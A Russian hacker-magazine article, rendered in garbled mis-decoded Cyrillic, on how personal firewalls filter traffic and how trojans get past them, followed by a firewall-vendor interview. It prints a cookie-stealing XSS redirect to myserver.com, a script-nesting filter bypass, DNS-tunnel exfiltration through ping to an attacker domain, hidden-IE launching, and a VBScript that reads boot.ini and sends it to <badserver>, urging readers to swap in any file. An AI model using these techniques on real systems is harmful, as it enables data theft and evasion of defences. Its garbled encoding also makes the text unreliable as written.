òåðèåâ ôèëüòðàöèè ðàçëè÷àþò íåñ-
êîëüêî òèïîâ ìåæñåòåâûõ ýêðàíîâ.
Íàïðèìåð, ïðîñòîé ïàêåòíûé ôèëüòð
ðàññìàòðèâàåò êàæäûé ïàêåò îòäåëü-
íî îò äðóãèõ è â êà÷åñòâå êðèòåðèåâ
ôèëüòðàöèè èñïîëüçóåò çàãîëîâêè
ñåòåâîãî è òðàíñïîðòíîãî óðîâíåé, òî
åñòü IP-àäðåñà îòïðàâèòåëÿ è ïîëó÷à-
òåëÿ, íîìåðà TCP/UDP-ïîðòîâ è ò.ä.
Îáìàíóòü òàêîé ìåæñåòåâîé ýêðàí �
âñå ðàâíî, ÷òî îòîáðàòü ó ðåáåíêà
êîíôåòó: ïðîñòî, íî ñòûäíî.

Áîëåå ïðîäâèíóòûå ìåæñåòåâûå ýê-
ðàíû (stateful) îñóùåñòâëÿþò ôèëüòðà-
öèþ â êîíòåêñòå ñîåäèíåíèÿ. Îíè íå
òîëüêî àíàëèçèðóþò äîïîëíèòåëüíûå
ïîëÿ çàãîëîâêîâ ïàêåòîâ (òàêèå, êàê
ñîñòîÿíèå ôëàãîâ SYN, ACK, FIN, RST è
çíà÷åíèÿ Sequence Number), íî è ïîì-
íÿò èõ çíà÷åíèå äëÿ ïðåäûäóùèõ ïàêå-
òîâ. Ïîýòîìó ìîãóò îòëè÷èòü «ïîääå-
ëàííûé» ïàêåò îò òåõ, êîòîðûå ïðèíàä-
ëåæàò äàííîìó ðàçðåøåííîìó ñîåäè-
íåíèþ. Áîëüøèíñòâî ïåðñîíàëüíûõ
ìåæñåòåâûõ ýêðàíîâ ÿâëÿþòñÿ, êàê ìè-

íèìóì, stateful ÌÑÝ äëÿ TCP/UDP/ICMP.
Òî åñòü óìåþò, ïî êðàéíåé ìåðå, ðàçëè-
÷àòü, êòî è â êàêîì íàïðàâëåíèè óñòà-
íîâèë ñîåäèíåíèå, è ñ÷èòàòü Sequence
Numbers ïàêåòîâ. 

Óñòàíîâèâ ïåðñîíàëüíûé ìåæñåòå-
âîé ýêðàí â «ïðàâèëüíîé» ñòàíäàðò-
íîé êîíôèãóðàöèè, ìîæåøü íå áîÿòü-
ñÿ çëîáíûõ ÷åðâåé òèïà Sasser èëè
MSBlast, ñòó÷àùèõñÿ íà îòêðûòûå
445-é è 135-é ïîðòû. Õîòÿ, åñëè ÷åñò-
íî, íåïîíÿòíî, çà÷åì îñòàâëÿòü íà
êîìïüþòåðå íåèñïîëüçóåìóþ ñåòåâóþ
ñëóæáó. Íå õî÷åøü òû, ÷òîáû
CIFS/SMB/NetBIOS (ïîðòû 137, 138, 139,
445) ñâåòèëîñü íàðóæó � îñòàíîâè
ñëóæáó �Server�. Íå íóæåí òåáå 135-é
ïîðò � ïðèâÿæè RPC ê 127.0.0.1 óòèëè-
òîé rpccfg è íå ìó÷àéñÿ. Íîðìàëüíî
íàñòðîåííûé ïîëüçîâàòåëüñêèé
êîìïüþòåð ïðè ñêàíèðîâàíèè nmap
äîëæåí, ìàêñèìóì, îòâå÷àòü íà ping. È
íå ïîòîìó ÷òî íà íåì ñòîèò ôàåðâîë,
à ïîòîìó ÷òî íà íåì ïðîñòî íèêòî íå
ñëóøàåò ñåòü. Íî ÷òîáû ðåàëèçîâàòü
ïîäîáíîå ñòàíäàðòíûìè ñðåäñòâàìè
Windows, íàäî õîòÿ áû çíàòü, ÷òî çà
ñåòåâîé ñîôò ñòîèò íà ìàøèíå. Â òî
âðåìÿ êàê ïåðñîíàëüíûå ìåæñåòåâûå
ýêðàíû ðàçáèðàþòñÿ â ýòîì ñàìè. 

Êñòàòè, ÷òîáû îïðåäåëèòü, êàêèå
ïðîãðàììû ñëóøàþò ñåòü íà òâîåé ìà-
øèíå, ñîâåðøåííî íå îáÿçàòåëüíî óñ-
òàíàâëèâàòü ïðîãðàììû òèïà fport
èëè activeport. Â Windows äëÿ ýòîãî
ìîæíî âîñïîëüçîâàòüñÿ äâóìÿ êîìàí-
äàìè: netstat è tasklist (â ðàííèõ âåð-
ñèÿõ Windows). Êîìàíäà netstat �ano
âûäàåò ñïèñîê ñåòåâûõ ñîåäèíåíèé è
îòêðûòûõ ïîðòîâ, óêàçûâàÿ èäåíòè-
ôèêàòîð ïðîöåññà (PID), êîòîðûé ýòî
ñîåäèíåíèå èñïîëüçóåò. ×òîáû óç-
íàòü, êàêîìó ïðîöåññó ïðèíàäëåæèò
ýòîò PID, ìîæíî âîñïîëüçîâàòüñÿ äèñ-
ïåò÷åðîì çàäà÷ èëè ïðîñòî çàïóñòèòü
tasklist. Ïðîãðàììà tasklist, çàïóùåí-
íàÿ ñ êëþ÷îì -svc, ïîçâîëÿåò óçíàòü,
êàêèå ñåòåâûå ñëóæáû (ñåðâèñû) îáñ-
ëóæèâàþòñÿ òåì èëè èíûì ïðîöåññîì.

Ïîñêîëüêó ôèëüòðàöèÿ òðàôèêà ÿâ-
ëÿåòñÿ ñòàðûì è íàèáîëåå ïðîðàáî-
òàííûì ìåòîäîì çàùèòû, îáîéòè åå «â
ëîá» äîâîëüíî òðóäíî. Åñëè ìåæñåòå-
âîé ýêðàí çàïðåùàåò âõîäÿùèå ñîå-

äèíåíèÿ, òî óñòàíîâèòü ñîåäèíåíèå ñ
ñåðâèñîì íà ìàøèíå íåâîçìîæíî (åñ-
ëè òîëüêî â Bugtraq íå ïðîìåëüêíóëî
÷òî-òî èíòåðåñíîå). Ïîýòîìó ÷àùå
âñåãî ïðîíèêàþò íà êîìïüþòåðû ñ óñ-
òàíîâëåííûì ìåæñåòåâûì ýêðàíîì
÷åðåç êëèåíòñêèå ïðèëîæåíèÿ.

ÔÈËÜÒÐÀÖÈß ÑÎÄÅÐÆÈÌÎÃÎ
ÏÐÈÊËÀÄÍÛÕ ÏÐÎÒÎÊÎËÎÂ

Åñëè íàïðÿìóþ ïðîáèòü ïåðñî-
íàëüíûé ìåæñåòåâîé ýêðàí íå óäà-
ëîñü, ýòî äåëàþò ÷åðåç êëèåíòñêîå
ïðèëîæåíèå. Îñíîâíûå âåêòîðû àòàê
íà êëèåíòîâ - ýòî Web, ïî÷òà è äûðêè
â ãîëîâàõ ïîëüçîâàòåëåé. Ïðè÷åì
÷àñòî ýòè âåêòîðû èñïîëüçóþòñÿ ñîâ-
ìåñòíî. Íàïðèìåð, ïðèõîäèò ïèñüìî, â
êîòîðîì ïîä âèäîì ñâåæåãî êðÿêåðà
èíòåðíåòà ëåæèò òðîÿí, îòñûëàþùèé
ïàðîëè íà âðàæåñêèé web-ñåðâåð. Îò
ñîöèîòåõíèêè è äðóãèõ ìåòîäîâ ÷åñò-
íîãî îáìàíà ïîëüçîâàòåëåé ìåæñåòå-
âûå ýêðàíû, êîíå÷íî, íå çàùèùàþò. 

Åñëè âíèìàòåëüíî ïðîàíàëèçèðî-
âàòü Bugtraq, òî îêàæåòñÿ, ÷òî íàè-
áîëüøåå êîëè÷åñòâî îøèáîê ïðèõî-
äèòñÿ èìåííî íà êëèåíòñêèå ïðîãðàì-
ìû. Âïåðåäè ïëàíåòû âñåé çäåñü, åñ-
òåñòâåííî, Internet Explorer, íî è äðó-
ãèå ïðîãðàììû íå îòñòàþò. Äàæå â ìè-
ëîé ñåðäöó ëþáîãî þíèêñîèäà óòèëè-
òå mail â ñâîå âðåìÿ áûëè íàéäåíî ïå-
ðåïîëíåíèå áóôåðà
(www.security.nnov.ru/search/news.asp?binid=2872).
Îäíàêî ïåðñîíàëüíûå ìåæñåòåâûå ýê-
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ðàíû íå äðåìëþò è â ýòîì ñëó÷àå.
Ìíîãèå èç íèõ ðåàëèçóþò ôóíêöèþ
ôèëüòðàöèè ñîäåðæèìîãî (content-fil-
ter), òî åñòü óìåþò ðàáîòàòü íà ïðèê-
ëàäíîì óðîâíå ïðîòîêîëà TCP/IP. 

Äàâàé ïðåäñòàâèì ñëåäóþùóþ ñèòó-
àöèþ. Ó òåáÿ ñòîèò ïî÷òîâûé content-
filter, íàñòðîåííûé íà ôèëüòðàöèþ ïî
êëþ÷åâûì ñëîâàì. Âäðóã ïðèõîäèò
ïî÷òîâîå ñîîáùåíèå, ñîäåðæàùåå àð-
õèâ ZIP, â êîòîðîì åñòü äîêóìåíò
Word, â êîòîðûé âñòàâëåíà òàáëèöà
Excel, â îäíîì èç ñòîëáöîâ êîòîðîãî
ñîäåðæàòñÿ íåõîðîøèå ñëîâà, ïðåä-
ïîëîæèì, «Mega Secret Data».
Content-filter ñîáåðåò èç îòäåëüíûõ
ïàêåòîâ âñå ïî÷òîâîå ñîîáùåíèå,
íàéäåò â íåì àðõèâ, ðàçâåðíåò åãî,
ïðîñìîòðèò âñå îáúåêòû â äîêóìåíòå
Word, îáíàðóæèò òàáëèöó Excel è íå-
õîðîøèå ñëîâà â íåé, ïîñëå ÷åãî çàá-
ëîêèðóåò äàííîå ñîîáùåíèå.

Êðîìå òîãî, ýòè ôèëüòðû ìîãóò îòñå-
êàòü êîìïîíåíòû ActiveX, ñêðèïòû
JavaScript è VBScript, ïî÷òîâûå âëî-
æåíèÿ ñ ðàñøèðåíèÿìè exe è src. Íà-
õîäèò õàêåð íà ñåðâåðå www.pochta-
mail.org óÿçâèìîñòü òèïà Cross-Site-
Scripting è íà÷èíàåò ïðîáàìáëèâàòü
êëèåíòîâ ýòîãî ñåðâåðà ïî÷òîâûìè
ñîîáùåíèÿìè, òèõîíüêî óâîäÿùèìè
èõ ïàðîëè. Íî âîæäåëåííûé
location.href=�myserver.com&�+docu-
ment.cookie ïî÷åìó-òî íå îòðàáàòûâà-
åò íà èõ ìàøèíàõ. Â ýòîì ìîæåò áûòü
âèíîâàò ïåðñîíàëüíûé ÌÑÝ, îáðåçàþ-
ùèé ïîòåíöèàëüíî íåáåçîïàñíîå ñî-
äåðæèìîå � ñöåíàðèè. 

ÊÀÊ ÏÐÎÁÈÂÀÅÒÑß ÇÀÙÈÒÀ
Ôèëüòðû ñîäåðæèìîãî äàëåêî íå

âñåãäà ìîãóò ðàñïîçíàòü âðåäîíîñíûé
êîíòåíò. Ýòî ñâÿçàííî ñ òåì, ÷òî ïîë-
íîñòüþ ïðåäñòàâèòü ñåáå ïîâåäåíèå
êëèåíòñêîé ïðîãðàììû ïðàêòè÷åñêè íå-
âîçìîæíî. Íè ðàçó íå çàìå÷àë, êàê
ïðîãðàììà èç ïàðû ñîòåí ñòðîê, ðàáî-
òàâøàÿ â÷åðà, ñåãîäíÿ íà÷èíàåò âûòâî-
ðÿòü íåïîíÿòíî ÷òî? Çäåñü òî æå ñàìîå:
ôàåðâîë äóìàåò îäíî, à áðàóçåð èëè
ïî÷òîâàÿ ïðîãðàììà � ñîâñåì äðóãîå.

Íàïðèìåð, ìåæñåòåâîé ýêðàí íàñò-
ðîåí íà çàïðåò VBScript. È ïîëüçîâà-
òåëü ïîëó÷àåò ñòðàíèöó, íà êîòîðîé
ïðèñóòñòâóåò ïîäîáíûé êîä:

<script language=javascript>
document.write('<script

language=vbscript>alert "÷ìîê"<\/script>')
</script>

Ñ òî÷êè çðåíèÿ ôàåðâîëà, ýòî áå-
çîáèäíûé JavaScript, à, ñ òî÷êè çðå-
íèÿ áðàóçåðà, ýòî äâà ñêðèïòà. Êîã-
äà Internet Explorer íà÷íåò îáðàáà-
òûâàòü ïîäîáíóþ êîíñòðóêöèþ,
JavaScript ñîçäàñò â òåëå ñòðàíèöû
äèíàìè÷åñêèé ñöåíàðèé, íàïèñàí-
íûé íà çàïðåùåííîì VBScript. Ïî-
äîáíûå ïðîáëåìû áûëè åùå â 2002
ãîäó ïîäðîáíî îïèñàíû 3APA3îé
(www.security.nnov.ru/advisories/content.asp),
è, îêàçûâàåòñÿ, îíè àêòóàëüíû äî
ñèõ ïîð.

À âîò ïðèìåð îáõîäà ôèëüòðàöèè ñ
èñïîëüçîâàíèåì UNICODE - www.securi-
ty.nnov.ru/opossum/test2.html. Ðàáîòàåò íà
ìíîãèõ ïåðñîíàëüíûõ ìåæñåòåâûõ ýê-
ðàíàõ, â òîì ÷èñëå è íà Outpost. Ïðå-
îáðàçîâàòü ñâîé html â UNICODE ïðî-
ùå ïðîñòîãî � çàïóñòè Notepad, íàæìè
"Ñîõðàíèòü êàê" è â äèàëîãîâîì îêíå
âûáåðè êîäèðîâêó.

Ïðàêòè÷åñêè âñå ïåðñîíàëüíûå
ìåæñåòåâûå ýêðàíû ðåàëèçóþò ïðî-
âåðêó ïðèëîæåíèé, ïûòàþùèõñÿ ðàáî-
òàòü ñ ñåòüþ. Îíè óìåþò îòñëåæèâàòü
ñåòåâóþ àêòèâíîñòü ïðèëîæåíèé, ïðî-
ïóñêàÿ ðàçðåøåííîå ïðèëîæåíèå,
íàïðèìåð Internet Explorer, è áëîêè-
ðóÿ âñå îñòàëüíûå. Ñåòåâûå ôàåðâî-
ëû òàêæå óìåþò ðàçãðàíè÷èâàòü äîñ-
òóï ê ðåñóðñàì íà óðîâíå ïðèëîæå-
íèé. Ê ïðèìåðó, Microsoft ISA Server
ïðè èñïîëüçîâàíèè Firewall Client ïîç-
âîëÿåò óêàçûâàòü, êàêèì èç ïðèëîæå-
íèé ìîæíî ïîëüçîâàòüñÿ äëÿ âûõîäà
âî âíåøíþþ ñåòü.  

Êàçàëîñü áû, êîíòðîëü ñåòåâûõ ïðè-
ëîæåíèé � âåñüìà âðåäíàÿ âåùü äëÿ
áîëüøèíñòâà òðîÿíñêèõ ïðîãðàìì.
Îäíàêî ýòî íå òàê. Ñóùåñòâóåò îãðîì-
íîå êîëè÷åñòâî ìåòîäîâ, ïîçâîëÿþ-
ùèõ îáîéòè ýòó ôèëüòðàöèþ. Îñíîâ-
íûå èç íèõ:

èñïîëüçîâàíèå ñîáñòâåííûõ ñåòå-
âûõ äðàéâåðîâ

âíåäðåíèå êîäà â ïàìÿòü äîâåðåí-
íûõ ïðîöåññîâ (Code Injection)

èñïîëüçîâàíèå ñëóæåáíûõ ïðîòî-
êîëîâ

èñïîëüçîâàíèå äîâåðåííûõ ïðè-
ëîæåíèé äëÿ óòå÷êè äàííûõ

Ïåðâûå äâà ìåòîäà òðåáóþò, ÷òîáû
òðîÿíñêàÿ ïðîãðàììà áûëà çàïóùåíà
ñ ïðàâàìè àäìèíèñòðàòîðà. 

ÈÑÏÎËÜÇÎÂÀÍÈÅ ÑÎÁÑÒÂÅÍ-
ÍÛÕ ÑÅÒÅÂÛÕ ÄÐÀÉÂÅÐÎÂ

Óñòàíàâëèâàåòñÿ ñâîé ñîáñòâåí-
íûé ñåòåâîé äðàéâåð, ðàáîòàþùèé
íàïðÿìóþ ñ NDIS. Åñëè ÌÑÝ ôèëüòðó-
åò òðàôèê íà óðîâíå Winsock, îí ïðîñ-
òî «íå âèäèò» ïðîõîäÿùåãî òðàôèêà.
Ñåé÷àñ òðþê íå àêòóàëåí, ïîñêîëüêó
îí èçáèòûé è áîëüøèíñòâî ôàåðâî-
ëîâ åãî ëîâèò.

ÂÍÅÄÐÅÍÈÅ ÊÎÄÀ Â ÏÀÌßÒÜ
ÄÎÂÅÐÅÍÍÛÕ ÏÐÎÖÅÑÑÎÂ
(CODE INJECTION)

Âíåäðåíèå êîäà èñïîëüçóåò äðó-
ãîé ïîäõîä. Â ïàìÿòè èùåòñÿ çàâåäî-
ìî ðàçðåøåííàÿ ïðîãðàììà, â åå àä-
ðåñíîå ïðîñòðàíñòâî âíåäðÿåòñÿ êîä,
÷åðåç êîòîðûé îñóùåñòâëÿåòñÿ âçàè-
ìîäåéñòâèå ñ êëèåíòñêîé ÷àñòüþ òðî-
ÿíñêîé ïðîãðàììû. Ìåæñåòåâîé ýêðàí
ðàçðåøèë âçàèìîäåéñòâèå ïðîãðàììû
ñ âíåøíåé ñåòüþ, ïîýòîìó îí ïðîïóñ-
êàåò è çàïðîñû òðîÿíöà.

Åñòü íåñêîëüêî ìåòîäîâ âíåäðåíèÿ
â àäðåñíîå ïðîñòðàíñòâî äðóãèõ ïðî-
öåññîâ (ïîäðîáíåå îá ýòîì ÷èòàé â
ñòàòüåé "Èãðà â ïðÿòêè"). Îäèí èç íèõ
� ïîäìåíà API è DLL Injection. Ýòîò ìå-
òîä øèðîêî èñïîëüçóåòñÿ rootkits äëÿ
Windows. Íåäàâíî íà ñàéòå www.xakep.ru

áûëà îïóáëèêîâàíà ñòàòüÿ î ðåàëèçà-
öèè ýòîãî ìåòîäà íà Delphi (www.xakep.ru/
post/23288/default.asp). À ïî àäðåñó
www.forum.sources.ru/index.php?show-
topic=48014 ñìîòðè ïåðåâîä ñòàòüè Holy
Father, ñîçäàòåëÿ èçâåñòíîãî èíñòðó-
ìåíòà Hacker Defender. Âíåäðåíèå â
ïðîöåññû ïîäðîáíî è ñ ïðèìåðàìè
îïèñàíî â ñòàòüå rattle, îïóáëèêîâàí-
íîé â ñâåæåì Phrack (www.phrack.org/
show.php?p=62&a=13). Òàì æå åñòü èñõîä-
íèê ïðèëîæåíèÿ, âíåäðÿþùåãîñÿ â
çàïóùåííûé IE è óæå â åãî êîíòåêñòå
ðàáîòàþùèé ñ ñåòüþ.

Îäíàêî, êàê ãîâîðèëîñü, ïîäîáíûå
ìåòîäû òðåáóþò, ÷òîáû òðîÿí áûë çà-
ïóùåí ñ ïðàâàìè àäìèíèñòðàòîðà, ÷òî
íå âñåãäà âîçìîæíî. Äâà ïîñëåäíèõ
ìåòîäà (èñïîëüçîâàíèå ñëóæåáíûõ
ïðîòîêîëîâ è èñïîëüçîâàíèå äîâå-
ðåííûõ ïðèëîæåíèé äëÿ óòå÷êè äàí-
íûõ) ëèøåíû ýòîãî íåäîñòàòêà. 

ÈÑÏÎËÜÇÎÂÀÍÈÅ ÑËÓÆÅÁÍÛÕ
ÏÐÎÒÎÊÎËÎÂ È ÄÎÂÅÐÅÍÍÛÕ
ÏÐÈËÎÆÅÍÈÉ ÄËß ÓÒÅ×ÊÈ
ÄÀÍÍÛÕ

Èñïîëüçîâàíèå ñëóæåáíûõ ïðîòî-
êîëîâ ïîçâîëÿåò «âûâîäèòü» äàííûå
ñ àòàêóåìîãî êîìïüþòåðà ÷åðåç òå ñå-
òåâûå ñëóæáû, êîòîðûå îáû÷íî íå
ôèëüòðóþòñÿ ìåæñåòåâûìè ýêðàíàìè.
Íàïðèìåð, òðîÿíñêàÿ ïðîãðàììà çà-
ïóñêàåò êîìàíäó ping deww2362hewuiw.
megahackersuper.wherehere.ru.
Windows ïîñûëàåò DNS çàïðîñ íà ðàç-
ðåøåíèå èìåíè â IP-àäðåñ. Ìåæñåòå-
âîé ýêðàí ïðîïóñêàåò ýòîò çàïðîñ. Íà
ïðèåìíîé ñòîðîíå ñòîèò «ñïåöèàëèçè-
ðîâàííûé» ñåðâåð DNS, îòâå÷àþùèé
çà çîíó megahackersuper.
wherehere.ru, êîòîðûé èçâëåêàåò èç
èìåíè (deww2362hewuiw) ïîëåçíûå
äàííûå è âîçâðàùàåò â îòâåòå êîìàí-
äû òðîÿíó. Â ðåçóëüòàòå èìååì êàíàë
óòå÷êè. Åùå îäèí èíòåðåñíûé ñïîñîá
� çàïóñòèòü Internet Explorer è ïîïðî-
ñèòü åãî ïåðåäàòü äàííûå âî âíåøíèé
ìèð. Íî çäåñü âîçíèêàåò îäíà ïðîáëå-
ìà � IE íàäî çàïóñêàòü â ñêðûòîì ðå-
æèìå, ÷òîáû ïîëüçîâàòåëÿ íå óäèâëÿ-
ëè íåïîíÿòíûå îêíà íà ðàáî÷åì ñòî-
ëå, çàíèìàþùèåñÿ ñâîèìè äåëàìè.

Íî áîëüøèíñòâî ýêðàíîâ çíàþò îá
ýòîé âîçìîæíîñòè è ïåðåõâàòûâàþò
çàïóñê ïðèëîæåíèé ñ òèïîì îòîáðà-
æåíèÿ SW_HIDE. Åñòü îäèí íåõèòðûé
ñïîñîá îáîéòè ïîäîáíóþ çàùèòó � çà-
ïóñòèòü IE â íîðìàëüíî ðåæèìå, ïîñëå
÷åãî ñðàçó æå ïîñëàòü îêíó êîìàíäó
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Îñíîâà çà-
ùèòû ëþáî-
ãî ìåæñåòå-
âîãî ýêðàíà
- ôèëüòðà-
öèÿ òðàôè-
êà, êîòîðàÿ
çàêëþ÷àåò-
ñÿ â àíàëè-
çå ïîñûëàå-
ìûõ/ïðèíè-
ìàåìûõ ïà-
êåòîâ.

Ïåðñîíàëü-
íûå ìåæñå-
òåâûå ýêðà-
íû (ÌÑÝ)
î÷åíü ïîïó-
ëÿðíû, òàê
êàê ìîãóò
çàùèòèòü
îò ïðîíèê-
íîâåíèÿ
âðåäîíîñíî-
ãî êîäà è
óòå÷êè öåí-
íîé èíôîð-
ìàöèè.



×òîáû
íåéòðàëèçî-
âàòü ïîïûò-
êè èñïîëü-
çîâàíèÿ äî-
âåðåííûõ
ïðèëîæåíèé
òðîÿíàìè,
ÌÑÝ ïåðåõ-
âàòûâàþò
çàïóñê ïðè-
ëîæåíèé ñ
òèïîì îòîá-
ðàæåíèÿ
SW_HIDE.

Áîëåå ýô-
ôåêòèâíàÿ
ôèëüòðàöèÿ
- íà ïðèê-
ëàäíîì
óðîâíå ïðî-
òîêîëà
TCP/IP
(ôèëüòðà-
öèÿ ñîäåð-
æèìîãî).

SW_HIDE. Åñëè âñå äåëàòü îïåðàòèâ-
íî, ïîëüçîâàòåëü íè÷åãî íå çàìåòèò.

À êàê æå Internet Explorer áóäåò êîïèðî-
âàòü ñ æåñòêîãî äèñêà öåííóþ èíôîðìà-
öèþ? Äëÿ ýòîãî ìîæíî âîñïîëüçîâàòüñÿ
ñöåíàðèÿìè. Ïîñìîòðè íà ïðèìåð:

<script>
Set fso =

CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile("c:\\boot.ini", 1,

False)
While Not f.atEndOfStream

s = f.ReadLine

ss=ss+"<br>"+s
Wend
document.location.href="http://<badserv-

er>/getfile.asp?"&ss
</script>

Ýòà íåáîëüøàÿ ïðîãðàììà ñ÷èòûâàåò
ñ æåñòêîãî äèñêà ñîäåðæèìîå ôàéëà
boot.ini è ïåðåäàåò åãî íà <badserver>,
èñïîëüçóÿ òîò æå ýêçåìïëÿð áðàóçåðà,
â êîòîðîì âûïîëíÿåòñÿ. Ïðèìåð òàêî-
ãî òðîÿíà ìîæíî íàéòè â ñòàòüå íà
www.securitylab.ru/46765.html. Ïîäïðàâü
boot.ini íà íóæíûé ôàéë è âïåðåä.  E
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XS: Çà÷åì ïîìèìî àíòèâèðóñà íóæíî ñòàâèòü åùå è
ôàåðâîë?

Ýß: Ôàåðâîë çàùèùàåò îò âíåøíèõ àòàê, à àíòèâèðóñ
îðèåíòèðîâàí íà âèðóñû, óæå ïîïàâøèå íà êîìïüþòåð.
Ïîýòîìó ðàçóìíî èñïîëüçîâàòü îäíîâðåìåííî îáà ñïîñî-
áà çàùèòû. Áîëüøèíñòâî ñîâðåìåííûõ âèðóñîâ èñïîëü-
çóþò èíòåðíåò äëÿ ðàñïðîñòðàíåíèÿ. Ôàåðâîë êîíòðîëè-
ðóåò òðàôèê, ïðàêòè÷åñêè íå âëèÿÿ íà ñêîðîñòü ñîåäèíå-
íèÿ. Â òîæå âðåìÿ ôàéëîâûé ìîíèòîð àíòèâèðóñà äîëæåí
ïðîâåðÿòü âñå îòêðûâàåìûå ôàéëû äëÿ îáåñïå÷åíèÿ çà-
ùèòû, ÷òî ñíèæàåò ïðîèçâîäèòåëüíîñòü æåñòêîãî äèñêà â
äåñÿòêè ðàç. 

XS: Äîñòàòî÷íî ëè ôàåðâîëà äëÿ çàùèòû êîìïüþòå-
ðà?

Ýß: Ñîâðåìåííûé ôàåðâîë îáåñïå÷èâàåò âûñîêèé
óðîâåíü çàùèòû îò âíåøíèõ àòàê. Îäíàêî, â ñëó÷àå åñëè
âðåäîíîñíûé êîä óæå ïîïàë íà êîìïüþòåð ïîëüçîâàòå-
ëÿ, ó íåãî åñòü äåñÿòêè ñïîñîáîâ îáîéòè çàùèòó, íà÷èíàÿ
c âíåäðåíèÿ â äîâåðåííûé ïðîöåññ è êîí÷àÿ áëîêèðîâ-
êîé ôóíêöèé ôàåðâîëà è îñòàíîâêîé ñåðâèñà. Ïîëíóþ
áåçîïàñíîñòü ìîæåò äàòü òîëüêî ðàçóìíîå íàçíà÷åíèå
ïðàâ ïîëüçîâàòåëþ. Ñêàæåì, íà÷àòü ñëåäóåò ñ îòêàçà îò
èñïîëüçîâàíèÿ àäìèíèñòðàòèâíîé ó÷åòíîé çàïèñè (àäìè-
íèñòðàòîðà) äëÿ ïîâñåäíåâíîé ðàáîòû.

XS: ßâëÿåòñÿ ëè çàùèòà ôàåðâîëîì àáñîëþòíîé?
Ýß: Ôàåðâîëó íåäîñòàòî÷íî îñóùåñòâëÿòü òîëüêî

êîíòðîëü çà èñõîäÿùèìè ñîåäèíåíèÿìè, ÷òîáû îáåçîïà-
ñèòü ïîëüçîâàòåëÿ îò óòå÷êè èíôîðìàöèè. Äëÿ îáõîäà
ìíîãèõ ôàåðâîëîâ ïðîãðàììå-øïèîíó äîñòàòî÷íî â àê-
òèâíîì áðàóçåðå îòðûòü URL òèïà
www.somesite.com/post_private_info/username/pass-
word. Ýòî ëåãêî ìîæíî ñäåëàòü, èñïîëüçîâàâ explorer.
Äëÿ ïðåäîòâðàùåíèÿ óòå÷êè èíôîðìàöèè ñëåäóåò èñ-
ïîëüçîâàòü ôàåðâîë, êîíòðîëèðóþùèé òàêæå ìåæïðî-
öåññíûå âçàèìîäåéñòâèÿ: çàïèñü â ïàìÿòü äðóãîãî ïðî-
öåññà, óñòàíîâêà êîíòåêñòà ïîòîêà, OLE, DDE è COM.

XS: Çà÷åì ôàåðâîëó íåîáõîäèìà òåõíîëîãèÿ SPI (äè-
íàìè÷åñêîé ôèëüòðàöèè ïàêåòîâ) äëÿ TCP-ïðîòîêîëà?

Ýß: Ñóòü òåõíîëîãèè çàêëþ÷àåòñÿ â àíàëèçå ñîäåð-
æèìîãî ïîñûëàåìûõ ïàêåòîâ è â äèíàìè÷åñêîì ôîðìè-
ðîâàíèè ïðàâèë äëÿ ïðèåìà. Âî-ïåðâûõ, SPI òðåáóåòñÿ
äëÿ êîððåêòíîé ðåàëèçàöèè ðàáîòû ïðîòîêîëîâ ñ îòêðû-
òèåì ïîðòîâ íà ñòîðîíå êëèåíòà. Ê ïðèìåðó, FTP: äëÿ òî-
ãî ÷òîáû íå îòêðûâàòü âñå TCP-ïîðòû íà ñîåäèíåíèÿ ñ
óäàëåííîãî ïîðòà 20, ïàêåòíûé ôèëüòð àíàëèçèðóåò ñî-
äåðæèìîå âñåõ ïåðåäàâàåìûõ ïàêåòîâ íà íàëè÷èå êî-
ìàíäû PORT è îòêðûâàåò òå ïîðòû, êîòîðûå îòêðûòû
FTP-êëèåíòîì è òîëüêî äëÿ ðàáîòû ñ IP ñåðâåðà.

XS: ×òî äàåò òåõíîëîãèÿ SPI äëÿ UDP?
Ýß: Äëÿ UDP SPI äàåò âîçìîæíîñòü ïðèíèìàòü ïàêå-

òû, êîòîðûå ÿâëÿþòñÿ îòâåòàìè íà çàïðîñû, ïîñëàííûå ñ
ìàøèíû ïîëüçîâàòåëÿ, è èãíîðèðîâàòü âñå îñòàëüíûå.
Ïðè îòñûëêå UDP ïàêåòà ôîðìèðóåòñÿ âðåìåííîå ïðàâè-
ëî, ðàçðåøàþùåå ïðèåì ïàêåòîâ ñ óäàëåííîãî àäðåñà è
ïîðòà. Òèïè÷íûé ïðèìåð - DNS, áóäåì ïîëó÷àòü îòâåòû íà

âñå íàøè çàïðîñû è â òî æå âðåìÿ îòáèâàòü îñòàëüíûå
ïàêåòû, ïðèñëàííûå ñ 53 ïîðòà.

XS: Äëÿ ÷åãî íóæåí Component Control?
Ýß: Ôîðìàëüíî êîíòðîëü êîìïîíåíò íå ÿâëÿåòñÿ

ôóíêöèåé ïåðñîíàëüíîãî ôàåðâîëà. Îäíàêî íà ïðàêòèêå
îáîéòè ôàåðâîë áåç êîíòðîëÿ êîìïîíåíò äî ñìåøíîãî
ïðîñòî - äîñòàòî÷íî ïîäìåíèòü îñíîâíîé èñïîëíÿåìûé
ôàéë ðàçðåøåííîãî ïðèëîæåíèÿ (íàïðèìåð,
iexplore.exe) èëè ïðèïèñàòü ñâîé êîä ê ëþáîé ðàñïðîñò-
ðàíåííîé DLL. È ìîæíî èñïîëüçîâàòü íàñòðîåííûå ïðà-
âèëà ïðèëîæåíèÿ äëÿ äîñòóïà â ñåòü îò åãî èìåíè.

XS: Ïî÷åìó ñëåäóåò áëîêèðîâàòü RAWSOCKET ïàêå-
òû?

Ýß: Ïîÿâèâøèéñÿ â Windows 2000 ìåõàíèçì îòñûëêè
è ïðèåìà RAWSOCKET ïàêåòîâ, íåñîìíåííî, ïðèíåñ îï-
ðåäåëåííóþ ïîëüçó äëÿ ïðîãðàììèðîâàíèÿ ýêçîòè÷åñ-
êèõ ïðèëîæåíèé. Îäíàêî â òîæå âðåìÿ îí ïîðîäèë îãðîì-
íóþ äûðó â áåçîïàñíîñòè ñèñòåìû. Ïðèëîæåíèÿ ïîëó÷è-
ëè âîçìîæíîñòü ôîðìèðîâàòü ïàêåò ñàìîñòîÿòåëüíî è,
ñîîòâåòñòâåííî, óêàçûâàòü ïðîèçâîëüíûå ïðîòîêîëû,
ïîðòû è àäðåñà. Ïðè ïåðåõâàòå IP-ïàêåòîâ óñòàíîâèòü
ïðèíàäëåæíîñòü òàêèõ ïàêåòîâ ñîåäèíåíèÿì è ïðèëîæå-
íèÿì íåâîçìîæíî. Ïîýòîìó, ñ òî÷êè çðåíèÿ áåçîïàñíîñ-
òè, ñëåäóåò çàïðåùàòü ðàáîòó ñ RAWSOCKET ñðåäñòâàìè
